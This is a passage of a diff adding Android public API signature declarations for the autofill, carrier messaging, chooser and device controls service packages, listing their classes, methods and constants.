+    method public java.security.spec.AlgorithmParameterSpec getAlgorithmParameterSpec();
+    method public String getTransformation();
+    method public byte[] getWrappedKeyBytes();
+    method public String getWrappingKeyAlias();
+  }
+
+}
+
+package android.service.autofill {
+
+  public abstract class AutofillService extends android.app.Service {
+    ctor public AutofillService();
+    method @Nullable public final android.service.autofill.FillEventHistory getFillEventHistory();
+    method public final android.os.IBinder onBind(android.content.Intent);
+    method public void onConnected();
+    method public void onDisconnected();
+    method public abstract void onFillRequest(@NonNull android.service.autofill.FillRequest, @NonNull android.os.CancellationSignal, @NonNull android.service.autofill.FillCallback);
+    method public abstract void onSaveRequest(@NonNull android.service.autofill.SaveRequest, @NonNull android.service.autofill.SaveCallback);
+    method public void onSavedDatasetsInfoRequest(@NonNull android.service.autofill.SavedDatasetsInfoCallback);
+    field public static final String SERVICE_INTERFACE = "android.service.autofill.AutofillService";
+    field public static final String SERVICE_META_DATA = "android.autofill";
+  }
+
+  public final class BatchUpdates implements android.os.Parcelable {
+    method public int describeContents();
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.service.autofill.BatchUpdates> CREATOR;
+  }
+
+  public static class BatchUpdates.Builder {
+    ctor public BatchUpdates.Builder();
+    method public android.service.autofill.BatchUpdates build();
+    method public android.service.autofill.BatchUpdates.Builder transformChild(int, @NonNull android.service.autofill.Transformation);
+    method public android.service.autofill.BatchUpdates.Builder updateTemplate(@NonNull android.widget.RemoteViews);
+  }
+
+  public final class CharSequenceTransformation implements android.os.Parcelable android.service.autofill.Transformation {
+    method public int describeContents();
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.service.autofill.CharSequenceTransformation> CREATOR;
+  }
+
+  public static class CharSequenceTransformation.Builder {
+    ctor public CharSequenceTransformation.Builder(@NonNull android.view.autofill.AutofillId, @NonNull java.util.regex.Pattern, @NonNull String);
+    method public android.service.autofill.CharSequenceTransformation.Builder addField(@NonNull android.view.autofill.AutofillId, @NonNull java.util.regex.Pattern, @NonNull String);
+    method public android.service.autofill.CharSequenceTransformation build();
+  }
+
+  public final class CustomDescription implements android.os.Parcelable {
+    method public int describeContents();
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.service.autofill.CustomDescription> CREATOR;
+  }
+
+  public static class CustomDescription.Builder {
+    ctor public CustomDescription.Builder(@NonNull android.widget.RemoteViews);
+    method @NonNull public android.service.autofill.CustomDescription.Builder addChild(int, @NonNull android.service.autofill.Transformation);
+    method @NonNull public android.service.autofill.CustomDescription.Builder addOnClickAction(int, @NonNull android.service.autofill.OnClickAction);
+    method @NonNull public android.service.autofill.CustomDescription.Builder batchUpdate(@NonNull android.service.autofill.Validator, @NonNull android.service.autofill.BatchUpdates);
+    method @NonNull public android.service.autofill.CustomDescription build();
+  }
+
+  public final class Dataset implements android.os.Parcelable {
+    method public int describeContents();
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.service.autofill.Dataset> CREATOR;
+  }
+
+  public static final class Dataset.Builder {
+    ctor public Dataset.Builder(@NonNull android.widget.RemoteViews);
+    ctor public Dataset.Builder();
+    method @NonNull public android.service.autofill.Dataset build();
+    method @NonNull public android.service.autofill.Dataset.Builder setAuthentication(@Nullable android.content.IntentSender);
+    method @NonNull public android.service.autofill.Dataset.Builder setId(@Nullable String);
+    method @NonNull public android.service.autofill.Dataset.Builder setInlinePresentation(@NonNull android.service.autofill.InlinePresentation);
+    method @NonNull public android.service.autofill.Dataset.Builder setInlinePresentation(@NonNull android.service.autofill.InlinePresentation, @NonNull android.service.autofill.InlinePresentation);
+    method @NonNull public android.service.autofill.Dataset.Builder setValue(@NonNull android.view.autofill.AutofillId, @Nullable android.view.autofill.AutofillValue);
+    method @NonNull public android.service.autofill.Dataset.Builder setValue(@NonNull android.view.autofill.AutofillId, @Nullable android.view.autofill.AutofillValue, @NonNull android.widget.RemoteViews);
+    method @NonNull public android.service.autofill.Dataset.Builder setValue(@NonNull android.view.autofill.AutofillId, @Nullable android.view.autofill.AutofillValue, @Nullable java.util.regex.Pattern);
+    method @NonNull public android.service.autofill.Dataset.Builder setValue(@NonNull android.view.autofill.AutofillId, @Nullable android.view.autofill.AutofillValue, @Nullable java.util.regex.Pattern, @NonNull android.widget.RemoteViews);
+    method @NonNull public android.service.autofill.Dataset.Builder setValue(@NonNull android.view.autofill.AutofillId, @Nullable android.view.autofill.AutofillValue, @NonNull android.widget.RemoteViews, @NonNull android.service.autofill.InlinePresentation);
+    method @NonNull public android.service.autofill.Dataset.Builder setValue(@NonNull android.view.autofill.AutofillId, @Nullable android.view.autofill.AutofillValue, @NonNull android.widget.RemoteViews, @NonNull android.service.autofill.InlinePresentation, @NonNull android.service.autofill.InlinePresentation);
+    method @NonNull public android.service.autofill.Dataset.Builder setValue(@NonNull android.view.autofill.AutofillId, @Nullable android.view.autofill.AutofillValue, @Nullable java.util.regex.Pattern, @NonNull android.widget.RemoteViews, @NonNull android.service.autofill.InlinePresentation);
+    method @NonNull public android.service.autofill.Dataset.Builder setValue(@NonNull android.view.autofill.AutofillId, @Nullable android.view.autofill.AutofillValue, @Nullable java.util.regex.Pattern, @NonNull android.widget.RemoteViews, @NonNull android.service.autofill.InlinePresentation, @NonNull android.service.autofill.InlinePresentation);
+  }
+
+  public final class DateTransformation implements android.os.Parcelable android.service.autofill.Transformation {
+    ctor public DateTransformation(@NonNull android.view.autofill.AutofillId, @NonNull android.icu.text.DateFormat);
+    method public int describeContents();
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.service.autofill.DateTransformation> CREATOR;
+  }
+
+  public final class DateValueSanitizer implements android.os.Parcelable android.service.autofill.Sanitizer {
+    ctor public DateValueSanitizer(@NonNull android.icu.text.DateFormat);
+    method public int describeContents();
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.service.autofill.DateValueSanitizer> CREATOR;
+  }
+
+  public final class FieldClassification {
+    method @NonNull public java.util.List<android.service.autofill.FieldClassification.Match> getMatches();
+  }
+
+  public static final class FieldClassification.Match {
+    method @NonNull public String getCategoryId();
+    method public float getScore();
+  }
+
+  public final class FillCallback {
+    method public void onFailure(@Nullable CharSequence);
+    method public void onSuccess(@Nullable android.service.autofill.FillResponse);
+  }
+
+  public final class FillContext implements android.os.Parcelable {
+    method public int describeContents();
+    method @NonNull public android.view.autofill.AutofillId getFocusedId();
+    method public int getRequestId();
+    method @NonNull public android.app.assist.AssistStructure getStructure();
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.service.autofill.FillContext> CREATOR;
+  }
+
+  public final class FillEventHistory implements android.os.Parcelable {
+    method public int describeContents();
+    method @Deprecated @Nullable public android.os.Bundle getClientState();
+    method @Nullable public java.util.List<android.service.autofill.FillEventHistory.Event> getEvents();
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.service.autofill.FillEventHistory> CREATOR;
+  }
+
+  public static final class FillEventHistory.Event {
+    method @NonNull public java.util.Map<android.view.autofill.AutofillId,java.lang.String> getChangedFields();
+    method @Nullable public android.os.Bundle getClientState();
+    method @Nullable public String getDatasetId();
+    method @NonNull public java.util.Map<android.view.autofill.AutofillId,android.service.autofill.FieldClassification> getFieldsClassification();
+    method @NonNull public java.util.Set<java.lang.String> getIgnoredDatasetIds();
+    method @NonNull public java.util.Map<android.view.autofill.AutofillId,java.util.Set<java.lang.String>> getManuallyEnteredField();
+    method public int getNoSaveUiReason();
+    method @NonNull public java.util.Set<java.lang.String> getSelectedDatasetIds();
+    method public int getType();
+    field public static final int NO_SAVE_UI_REASON_DATASET_MATCH = 6; // 0x6
+    field public static final int NO_SAVE_UI_REASON_FIELD_VALIDATION_FAILED = 5; // 0x5
+    field public static final int NO_SAVE_UI_REASON_HAS_EMPTY_REQUIRED = 3; // 0x3
+    field public static final int NO_SAVE_UI_REASON_NONE = 0; // 0x0
+    field public static final int NO_SAVE_UI_REASON_NO_SAVE_INFO = 1; // 0x1
+    field public static final int NO_SAVE_UI_REASON_NO_VALUE_CHANGED = 4; // 0x4
+    field public static final int NO_SAVE_UI_REASON_WITH_DELAY_SAVE_FLAG = 2; // 0x2
+    field public static final int TYPE_AUTHENTICATION_SELECTED = 2; // 0x2
+    field public static final int TYPE_CONTEXT_COMMITTED = 4; // 0x4
+    field public static final int TYPE_DATASETS_SHOWN = 5; // 0x5
+    field public static final int TYPE_DATASET_AUTHENTICATION_SELECTED = 1; // 0x1
+    field public static final int TYPE_DATASET_SELECTED = 0; // 0x0
+    field public static final int TYPE_SAVE_SHOWN = 3; // 0x3
+  }
+
+  public final class FillRequest implements android.os.Parcelable {
+    method public int describeContents();
+    method @Nullable public android.os.Bundle getClientState();
+    method @NonNull public java.util.List<android.service.autofill.FillContext> getFillContexts();
+    method public int getFlags();
+    method public int getId();
+    method @Nullable public android.view.inputmethod.InlineSuggestionsRequest getInlineSuggestionsRequest();
+    method public void writeToParcel(@NonNull android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.service.autofill.FillRequest> CREATOR;
+    field public static final int FLAG_COMPATIBILITY_MODE_REQUEST = 2; // 0x2
+    field public static final int FLAG_MANUAL_REQUEST = 1; // 0x1
+  }
+
+  public final class FillResponse implements android.os.Parcelable {
+    method public int describeContents();
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.service.autofill.FillResponse> CREATOR;
+    field public static final int FLAG_DISABLE_ACTIVITY_ONLY = 2; // 0x2
+    field public static final int FLAG_TRACK_CONTEXT_COMMITED = 1; // 0x1
+  }
+
+  public static final class FillResponse.Builder {
+    ctor public FillResponse.Builder();
+    method @NonNull public android.service.autofill.FillResponse.Builder addDataset(@Nullable android.service.autofill.Dataset);
+    method @NonNull public android.service.autofill.FillResponse build();
+    method @NonNull public android.service.autofill.FillResponse.Builder disableAutofill(long);
+    method @NonNull public android.service.autofill.FillResponse.Builder setAuthentication(@NonNull android.view.autofill.AutofillId[], @Nullable android.content.IntentSender, @Nullable android.widget.RemoteViews);
+    method @NonNull public android.service.autofill.FillResponse.Builder setAuthentication(@NonNull android.view.autofill.AutofillId[], @Nullable android.content.IntentSender, @Nullable android.widget.RemoteViews, @Nullable android.service.autofill.InlinePresentation);
+    method @NonNull public android.service.autofill.FillResponse.Builder setAuthentication(@NonNull android.view.autofill.AutofillId[], @Nullable android.content.IntentSender, @Nullable android.widget.RemoteViews, @Nullable android.service.autofill.InlinePresentation, @Nullable android.service.autofill.InlinePresentation);
+    method @NonNull public android.service.autofill.FillResponse.Builder setClientState(@Nullable android.os.Bundle);
+    method @NonNull public android.service.autofill.FillResponse.Builder setFieldClassificationIds(@NonNull android.view.autofill.AutofillId...);
+    method @NonNull public android.service.autofill.FillResponse.Builder setFlags(int);
+    method @NonNull public android.service.autofill.FillResponse.Builder setFooter(@NonNull android.widget.RemoteViews);
+    method @NonNull public android.service.autofill.FillResponse.Builder setHeader(@NonNull android.widget.RemoteViews);
+    method @NonNull public android.service.autofill.FillResponse.Builder setIgnoredIds(android.view.autofill.AutofillId...);
+    method @NonNull public android.service.autofill.FillResponse.Builder setPresentationCancelIds(@Nullable int[]);
+    method @NonNull public android.service.autofill.FillResponse.Builder setSaveInfo(@NonNull android.service.autofill.SaveInfo);
+    method @NonNull public android.service.autofill.FillResponse.Builder setUserData(@NonNull android.service.autofill.UserData);
+  }
+
+  public final class ImageTransformation implements android.os.Parcelable android.service.autofill.Transformation {
+    method public int describeContents();
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.service.autofill.ImageTransformation> CREATOR;
+  }
+
+  public static class ImageTransformation.Builder {
+    ctor @Deprecated public ImageTransformation.Builder(@NonNull android.view.autofill.AutofillId, @NonNull java.util.regex.Pattern, @DrawableRes int);
+    ctor public ImageTransformation.Builder(@NonNull android.view.autofill.AutofillId, @NonNull java.util.regex.Pattern, @DrawableRes int, @NonNull CharSequence);
+    method @Deprecated public android.service.autofill.ImageTransformation.Builder addOption(@NonNull java.util.regex.Pattern, @DrawableRes int);
+    method public android.service.autofill.ImageTransformation.Builder addOption(@NonNull java.util.regex.Pattern, @DrawableRes int, @NonNull CharSequence);
+    method public android.service.autofill.ImageTransformation build();
+  }
+
+  public final class InlinePresentation implements android.os.Parcelable {
+    ctor public InlinePresentation(@NonNull android.app.slice.Slice, @NonNull android.widget.inline.InlinePresentationSpec, boolean);
+    method @NonNull public static android.service.autofill.InlinePresentation createTooltipPresentation(@NonNull android.app.slice.Slice, @NonNull android.widget.inline.InlinePresentationSpec);
+    method public int describeContents();
+    method @NonNull public android.widget.inline.InlinePresentationSpec getInlinePresentationSpec();
+    method @NonNull public android.app.slice.Slice getSlice();
+    method public boolean isPinned();
+    method public void writeToParcel(@NonNull android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.service.autofill.InlinePresentation> CREATOR;
+  }
+
+  public final class LuhnChecksumValidator implements android.os.Parcelable android.service.autofill.Validator {
+    ctor public LuhnChecksumValidator(@NonNull android.view.autofill.AutofillId...);
+    method public int describeContents();
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.service.autofill.LuhnChecksumValidator> CREATOR;
+  }
+
+  public interface OnClickAction {
+  }
+
+  public final class RegexValidator implements android.os.Parcelable android.service.autofill.Validator {
+    ctor public RegexValidator(@NonNull android.view.autofill.AutofillId, @NonNull java.util.regex.Pattern);
+    method public int describeContents();
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.service.autofill.RegexValidator> CREATOR;
+  }
+
+  public interface Sanitizer {
+  }
+
+  public final class SaveCallback {
+    method public void onFailure(CharSequence);
+    method public void onSuccess();
+    method public void onSuccess(@NonNull android.content.IntentSender);
+  }
+
+  public final class SaveInfo implements android.os.Parcelable {
+    method public int describeContents();
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.service.autofill.SaveInfo> CREATOR;
+    field public static final int FLAG_DELAY_SAVE = 4; // 0x4
+    field public static final int FLAG_DONT_SAVE_ON_FINISH = 2; // 0x2
+    field public static final int FLAG_SAVE_ON_ALL_VIEWS_INVISIBLE = 1; // 0x1
+    field public static final int NEGATIVE_BUTTON_STYLE_CANCEL = 0; // 0x0
+    field public static final int NEGATIVE_BUTTON_STYLE_NEVER = 2; // 0x2
+    field public static final int NEGATIVE_BUTTON_STYLE_REJECT = 1; // 0x1
+    field public static final int POSITIVE_BUTTON_STYLE_CONTINUE = 1; // 0x1
+    field public static final int POSITIVE_BUTTON_STYLE_SAVE = 0; // 0x0
+    field public static final int SAVE_DATA_TYPE_ADDRESS = 2; // 0x2
+    field public static final int SAVE_DATA_TYPE_CREDIT_CARD = 4; // 0x4
+    field public static final int SAVE_DATA_TYPE_DEBIT_CARD = 32; // 0x20
+    field public static final int SAVE_DATA_TYPE_EMAIL_ADDRESS = 16; // 0x10
+    field public static final int SAVE_DATA_TYPE_GENERIC = 0; // 0x0
+    field public static final int SAVE_DATA_TYPE_GENERIC_CARD = 128; // 0x80
+    field public static final int SAVE_DATA_TYPE_PASSWORD = 1; // 0x1
+    field public static final int SAVE_DATA_TYPE_PAYMENT_CARD = 64; // 0x40
+    field public static final int SAVE_DATA_TYPE_USERNAME = 8; // 0x8
+  }
+
+  public static final class SaveInfo.Builder {
+    ctor public SaveInfo.Builder(int, @NonNull android.view.autofill.AutofillId[]);
+    ctor public SaveInfo.Builder(int);
+    method @NonNull public android.service.autofill.SaveInfo.Builder addSanitizer(@NonNull android.service.autofill.Sanitizer, @NonNull android.view.autofill.AutofillId...);
+    method public android.service.autofill.SaveInfo build();
+    method @NonNull public android.service.autofill.SaveInfo.Builder setCustomDescription(@NonNull android.service.autofill.CustomDescription);
+    method @NonNull public android.service.autofill.SaveInfo.Builder setDescription(@Nullable CharSequence);
+    method @NonNull public android.service.autofill.SaveInfo.Builder setFlags(int);
+    method @NonNull public android.service.autofill.SaveInfo.Builder setNegativeAction(int, @Nullable android.content.IntentSender);
+    method @NonNull public android.service.autofill.SaveInfo.Builder setOptionalIds(@NonNull android.view.autofill.AutofillId[]);
+    method @NonNull public android.service.autofill.SaveInfo.Builder setPositiveAction(int);
+    method @NonNull public android.service.autofill.SaveInfo.Builder setTriggerId(@NonNull android.view.autofill.AutofillId);
+    method @NonNull public android.service.autofill.SaveInfo.Builder setValidator(@NonNull android.service.autofill.Validator);
+  }
+
+  public final class SaveRequest implements android.os.Parcelable {
+    method public int describeContents();
+    method @Nullable public android.os.Bundle getClientState();
+    method @Nullable public java.util.List<java.lang.String> getDatasetIds();
+    method @NonNull public java.util.List<android.service.autofill.FillContext> getFillContexts();
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.service.autofill.SaveRequest> CREATOR;
+  }
+
+  public final class SavedDatasetsInfo {
+    ctor public SavedDatasetsInfo(@NonNull String, @IntRange(from=0) int);
+    method @IntRange(from=0) public int getCount();
+    method @NonNull public String getType();
+    field public static final String TYPE_OTHER = "other";
+    field public static final String TYPE_PASSWORDS = "passwords";
+  }
+
+  public interface SavedDatasetsInfoCallback {
+    method public void onError(int);
+    method public void onSuccess(@NonNull java.util.Set<android.service.autofill.SavedDatasetsInfo>);
+    field public static final int ERROR_NEEDS_USER_ACTION = 2; // 0x2
+    field public static final int ERROR_OTHER = 0; // 0x0
+    field public static final int ERROR_UNSUPPORTED = 1; // 0x1
+  }
+
+  public final class TextValueSanitizer implements android.os.Parcelable android.service.autofill.Sanitizer {
+    ctor public TextValueSanitizer(@NonNull java.util.regex.Pattern, @NonNull String);
+    method public int describeContents();
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.service.autofill.TextValueSanitizer> CREATOR;
+  }
+
+  public interface Transformation {
+  }
+
+  public final class UserData implements android.os.Parcelable {
+    method public int describeContents();
+    method @Nullable public String getFieldClassificationAlgorithm();
+    method @Nullable public String getFieldClassificationAlgorithmForCategory(@NonNull String);
+    method public String getId();
+    method public static int getMaxCategoryCount();
+    method public static int getMaxFieldClassificationIdsSize();
+    method public static int getMaxUserDataSize();
+    method public static int getMaxValueLength();
+    method public static int getMinValueLength();
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.service.autofill.UserData> CREATOR;
+  }
+
+  public static final class UserData.Builder {
+    ctor public UserData.Builder(@NonNull String, @NonNull String, @NonNull String);
+    method @NonNull public android.service.autofill.UserData.Builder add(@NonNull String, @NonNull String);
+    method @NonNull public android.service.autofill.UserData build();
+    method @NonNull public android.service.autofill.UserData.Builder setFieldClassificationAlgorithm(@Nullable String, @Nullable android.os.Bundle);
+    method @NonNull public android.service.autofill.UserData.Builder setFieldClassificationAlgorithmForCategory(@NonNull String, @Nullable String, @Nullable android.os.Bundle);
+  }
+
+  public interface Validator {
+  }
+
+  public final class Validators {
+    method @NonNull public static android.service.autofill.Validator and(@NonNull android.service.autofill.Validator...);
+    method @NonNull public static android.service.autofill.Validator not(@NonNull android.service.autofill.Validator);
+    method @NonNull public static android.service.autofill.Validator or(@NonNull android.service.autofill.Validator...);
+  }
+
+  public final class VisibilitySetterAction implements android.service.autofill.OnClickAction android.os.Parcelable {
+    method public int describeContents();
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.service.autofill.VisibilitySetterAction> CREATOR;
+  }
+
+  public static final class VisibilitySetterAction.Builder {
+    ctor public VisibilitySetterAction.Builder(@IdRes int, int);
+    method @NonNull public android.service.autofill.VisibilitySetterAction build();
+    method @NonNull public android.service.autofill.VisibilitySetterAction.Builder setVisibility(@IdRes int, int);
+  }
+
+}
+
+package android.service.carrier {
+
+  public class CarrierIdentifier implements android.os.Parcelable {
+    ctor public CarrierIdentifier(String, String, @Nullable String, @Nullable String, @Nullable String, @Nullable String);
+    ctor public CarrierIdentifier(@NonNull String, @NonNull String, @Nullable String, @Nullable String, @Nullable String, @Nullable String, int, int);
+    ctor public CarrierIdentifier(byte[], @Nullable String, @Nullable String);
+    method public int describeContents();
+    method public int getCarrierId();
+    method @Nullable public String getGid1();
+    method @Nullable public String getGid2();
+    method @Nullable public String getImsi();
+    method public String getMcc();
+    method public String getMnc();
+    method public int getSpecificCarrierId();
+    method @Nullable public String getSpn();
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.service.carrier.CarrierIdentifier> CREATOR;
+  }
+
+  public class CarrierMessagingClientService extends android.app.Service {
+    ctor public CarrierMessagingClientService();
+    method @NonNull public final android.os.IBinder onBind(@Nullable android.content.Intent);
+  }
+
+  public abstract class CarrierMessagingService extends android.app.Service {
+    ctor public CarrierMessagingService();
+    method @Nullable public android.os.IBinder onBind(@NonNull android.content.Intent);
+    method public void onDownloadMms(@NonNull android.net.Uri, int, @NonNull android.net.Uri, @NonNull android.service.carrier.CarrierMessagingService.ResultCallback<java.lang.Integer>);
+    method @Deprecated public void onFilterSms(@NonNull android.service.carrier.MessagePdu, @NonNull String, int, int, @NonNull android.service.carrier.CarrierMessagingService.ResultCallback<java.lang.Boolean>);
+    method public void onReceiveTextSms(@NonNull android.service.carrier.MessagePdu, @NonNull String, int, int, @NonNull android.service.carrier.CarrierMessagingService.ResultCallback<java.lang.Integer>);
+    method @Deprecated public void onSendDataSms(@NonNull byte[], int, @NonNull String, int, @NonNull android.service.carrier.CarrierMessagingService.ResultCallback<android.service.carrier.CarrierMessagingService.SendSmsResult>);
+    method public void onSendDataSms(@NonNull byte[], int, @NonNull String, int, int, @NonNull android.service.carrier.CarrierMessagingService.ResultCallback<android.service.carrier.CarrierMessagingService.SendSmsResult>);
+    method public void onSendMms(@NonNull android.net.Uri, int, @Nullable android.net.Uri, @NonNull android.service.carrier.CarrierMessagingService.ResultCallback<android.service.carrier.CarrierMessagingService.SendMmsResult>);
+    method @Deprecated public void onSendMultipartTextSms(@NonNull java.util.List<java.lang.String>, int, @NonNull String, @NonNull android.service.carrier.CarrierMessagingService.ResultCallback<android.service.carrier.CarrierMessagingService.SendMultipartSmsResult>);
+    method public void onSendMultipartTextSms(@NonNull java.util.List<java.lang.String>, int, @NonNull String, int, @NonNull android.service.carrier.CarrierMessagingService.ResultCallback<android.service.carrier.CarrierMessagingService.SendMultipartSmsResult>);
+    method @Deprecated public void onSendTextSms(@NonNull String, int, @NonNull String, @NonNull android.service.carrier.CarrierMessagingService.ResultCallback<android.service.carrier.CarrierMessagingService.SendSmsResult>);
+    method public void onSendTextSms(@NonNull String, int, @NonNull String, int, @NonNull android.service.carrier.CarrierMessagingService.ResultCallback<android.service.carrier.CarrierMessagingService.SendSmsResult>);
+    field public static final int DOWNLOAD_STATUS_ERROR = 2; // 0x2
+    field public static final int DOWNLOAD_STATUS_OK = 0; // 0x0
+    field public static final int DOWNLOAD_STATUS_RETRY_ON_CARRIER_NETWORK = 1; // 0x1
+    field public static final int RECEIVE_OPTIONS_DEFAULT = 0; // 0x0
+    field public static final int RECEIVE_OPTIONS_DROP = 1; // 0x1
+    field public static final int RECEIVE_OPTIONS_SKIP_NOTIFY_WHEN_CREDENTIAL_PROTECTED_STORAGE_UNAVAILABLE = 2; // 0x2
+    field public static final int SEND_FLAG_REQUEST_DELIVERY_STATUS = 1; // 0x1
+    field public static final int SEND_STATUS_ERROR = 2; // 0x2
+    field public static final int SEND_STATUS_OK = 0; // 0x0
+    field public static final int SEND_STATUS_RETRY_ON_CARRIER_NETWORK = 1; // 0x1
+    field public static final String SERVICE_INTERFACE = "android.service.carrier.CarrierMessagingService";
+  }
+
+  public static interface CarrierMessagingService.ResultCallback<T> {
+    method public void onReceiveResult(@NonNull T) throws android.os.RemoteException;
+  }
+
+  public static final class CarrierMessagingService.SendMmsResult {
+    ctor public CarrierMessagingService.SendMmsResult(int, @Nullable byte[]);
+    method @Nullable public byte[] getSendConfPdu();
+    method public int getSendStatus();
+  }
+
+  public static final class CarrierMessagingService.SendMultipartSmsResult {
+    ctor public CarrierMessagingService.SendMultipartSmsResult(int, @Nullable int[]);
+    method @Nullable public int[] getMessageRefs();
+    method public int getSendStatus();
+  }
+
+  public static final class CarrierMessagingService.SendSmsResult {
+    ctor public CarrierMessagingService.SendSmsResult(int, int);
+    method public int getMessageRef();
+    method public int getSendStatus();
+  }
+
+  public abstract class CarrierService extends android.app.Service {
+    ctor public CarrierService();
+    method public final void notifyCarrierNetworkChange(boolean);
+    method @CallSuper public android.os.IBinder onBind(android.content.Intent);
+    method public abstract android.os.PersistableBundle onLoadConfig(android.service.carrier.CarrierIdentifier);
+    field public static final String CARRIER_SERVICE_INTERFACE = "android.service.carrier.CarrierService";
+  }
+
+  public final class MessagePdu implements android.os.Parcelable {
+    ctor public MessagePdu(@NonNull java.util.List<byte[]>);
+    method public int describeContents();
+    method @NonNull public java.util.List<byte[]> getPdus();
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.service.carrier.MessagePdu> CREATOR;
+  }
+
+}
+
+package android.service.chooser {
+
+  @Deprecated public final class ChooserTarget implements android.os.Parcelable {
+    ctor @Deprecated public ChooserTarget(CharSequence, android.graphics.drawable.Icon, float, android.content.ComponentName, @Nullable android.os.Bundle);
+    method @Deprecated public int describeContents();
+    method @Deprecated public android.content.ComponentName getComponentName();
+    method @Deprecated public android.graphics.drawable.Icon getIcon();
+    method @Deprecated public android.os.Bundle getIntentExtras();
+    method @Deprecated public float getScore();
+    method @Deprecated public CharSequence getTitle();
+    method @Deprecated public void writeToParcel(android.os.Parcel, int);
+    field @Deprecated @NonNull public static final android.os.Parcelable.Creator<android.service.chooser.ChooserTarget> CREATOR;
+  }
+
+  @Deprecated public abstract class ChooserTargetService extends android.app.Service {
+    ctor @Deprecated public ChooserTargetService();
+    method @Deprecated public android.os.IBinder onBind(android.content.Intent);
+    method @Deprecated public abstract java.util.List<android.service.chooser.ChooserTarget> onGetChooserTargets(android.content.ComponentName, android.content.IntentFilter);
+    field @Deprecated public static final String BIND_PERMISSION = "android.permission.BIND_CHOOSER_TARGET_SERVICE";
+    field @Deprecated public static final String META_DATA_NAME = "android.service.chooser.chooser_target_service";
+    field @Deprecated public static final String SERVICE_INTERFACE = "android.service.chooser.ChooserTargetService";
+  }
+
+}
+
+package android.service.controls {
+
+  public final class Control implements android.os.Parcelable {
+    method public int describeContents();
+    method @NonNull public android.app.PendingIntent getAppIntent();
+    method @NonNull public String getControlId();
+    method @NonNull public android.service.controls.templates.ControlTemplate getControlTemplate();
+    method @Nullable public android.content.res.ColorStateList getCustomColor();
+    method @Nullable public android.graphics.drawable.Icon getCustomIcon();
+    method public int getDeviceType();
+    method public int getStatus();
+    method @NonNull public CharSequence getStatusText();
+    method @Nullable public CharSequence getStructure();
+    method @NonNull public CharSequence getSubtitle();
+    method @NonNull public CharSequence getTitle();
+    method @Nullable public CharSequence getZone();
+    method public void writeToParcel(@NonNull android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.service.controls.Control> CREATOR;
+    field public static final int STATUS_DISABLED = 4; // 0x4
+    field public static final int STATUS_ERROR = 3; // 0x3
+    field public static final int STATUS_NOT_FOUND = 2; // 0x2
+    field public static final int STATUS_OK = 1; // 0x1
+    field public static final int STATUS_UNKNOWN = 0; // 0x0
+  }
+
+  public static final class Control.StatefulBuilder {
+    ctor public Control.StatefulBuilder(@NonNull String, @NonNull android.app.PendingIntent);
+    ctor public Control.StatefulBuilder(@NonNull android.service.controls.Control);
+    method @NonNull public android.service.controls.Control build();
+    method @NonNull public android.service.controls.Control.StatefulBuilder setAppIntent(@NonNull android.app.PendingIntent);
+    method @NonNull public android.service.controls.Control.StatefulBuilder setControlId(@NonNull String);
+    method @NonNull public android.service.controls.Control.StatefulBuilder setControlTemplate(@NonNull android.service.controls.templates.ControlTemplate);
+    method @NonNull public android.service.controls.Control.StatefulBuilder setCustomColor(@Nullable android.content.res.ColorStateList);
+    method @NonNull public android.service.controls.Control.StatefulBuilder setCustomIcon(@Nullable android.graphics.drawable.Icon);
+    method @NonNull public android.service.controls.Control.StatefulBuilder setDeviceType(int);
+    method @NonNull public android.service.controls.Control.StatefulBuilder setStatus(int);
+    method @NonNull public android.service.controls.Control.StatefulBuilder setStatusText(@NonNull CharSequence);
+    method @NonNull public android.service.controls.Control.StatefulBuilder setStructure(@Nullable CharSequence);
+    method @NonNull public android.service.controls.Control.StatefulBuilder setSubtitle(@NonNull CharSequence);
+    method @NonNull public android.service.controls.Control.StatefulBuilder setTitle(@NonNull CharSequence);
+    method @NonNull public android.service.controls.Control.StatefulBuilder setZone(@Nullable CharSequence);
+  }
+
+  public static final class Control.StatelessBuilder {
+    ctor public Control.StatelessBuilder(@NonNull String, @NonNull android.app.PendingIntent);
+    ctor public Control.StatelessBuilder(@NonNull android.service.controls.Control);
+    method @NonNull public android.service.controls.Control build();
+    method @NonNull public android.service.controls.Control.StatelessBuilder setAppIntent(@NonNull android.app.PendingIntent);
+    method @NonNull public android.service.controls.Control.StatelessBuilder setControlId(@NonNull String);
+    method @NonNull public android.service.controls.Control.StatelessBuilder setCustomColor(@Nullable android.content.res.ColorStateList);
+    method @NonNull public android.service.controls.Control.StatelessBuilder setCustomIcon(@Nullable android.graphics.drawable.Icon);
+    method @NonNull public android.service.controls.Control.StatelessBuilder setDeviceType(int);
